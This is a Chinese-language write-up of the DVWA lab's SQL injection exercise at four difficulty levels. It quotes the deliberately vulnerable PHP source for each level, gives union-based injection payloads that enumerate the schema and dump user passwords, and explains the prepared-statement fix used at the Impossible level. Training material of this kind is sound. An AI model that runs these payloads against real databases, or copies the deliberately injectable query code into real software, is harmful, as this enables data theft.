第七关：SQL Injection
SQL注入,是指攻击者通过注入恶意的SQL命令，破坏SQL查询语句的结构，从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的，常常会导致整个数据库被“脱裤”，尽管如此，SQL注入仍是现在最常见的Web漏洞之一。
Low
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
对源码分析得，注入点是id，并且是字符型注入，服务端接收id参数，没有做任何处理，并且有回显，和报错详情，可以使用联合查询和报错注入以及时间盲注来实现手工注入。
加'页面报错
利用order by判断字段数
使用union判断回显位置
使用联合注入爆出数据库的库名和版本
爆出数据库中所有得库名：id=-1' union select 1,group_concat(schema_name) from information_schema.schemata#
爆出当前数据库所有的表名：id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="dvwa"#
爆出当前表中所有的字段名：id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="dvwa"#
查询表中的数据
Medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
代码中使用了mysql_real_escape_string函数对特殊符号进行转义，页面中也使用下拉框来避免用户的输入，且使用POST进行数据提交
虽然使用了POST进行数据提交，但是可以使用burp suite抓包获取参数信息，利用google插件hackbar进行数据提交，首先判断注入类型，之后判断字段数，后面的步骤与low中类似。
High
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
从源码中可以看出，High级别的代码只是在sql查询语句中添加了limit限制，以此防止多条数据显示。但是我们可以使用#进行注释，所以手工注入的过程与low中的类似。
在进行手工注入时，根据代码使用的payload为1' union select 1,2;#，需要添加分号。
由于手工注入与low代码类似，所以使用1' union select group_concat(user_id,first_name),group_concat(password) from users;#显示结果
需要特别提到的是，High级别的查询提交页面与查询结果显示页面不是同一个，也没有执行302跳转，此做法目的是为了防止sqlmap注入，因为sqlmap在注入过程中，无法在查询提交页面上获取查询的结果，没有了反馈，就没办法进行注入。
Impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码采用了PDO技术，划清了代码与数据的界限，有效防御SQL注入，同时只有返回的查询结果数量为一时，才会成功输出，这样就有效预防了“脱裤”，Anti-CSRFtoken机制的加入了进一步提高了安全性。
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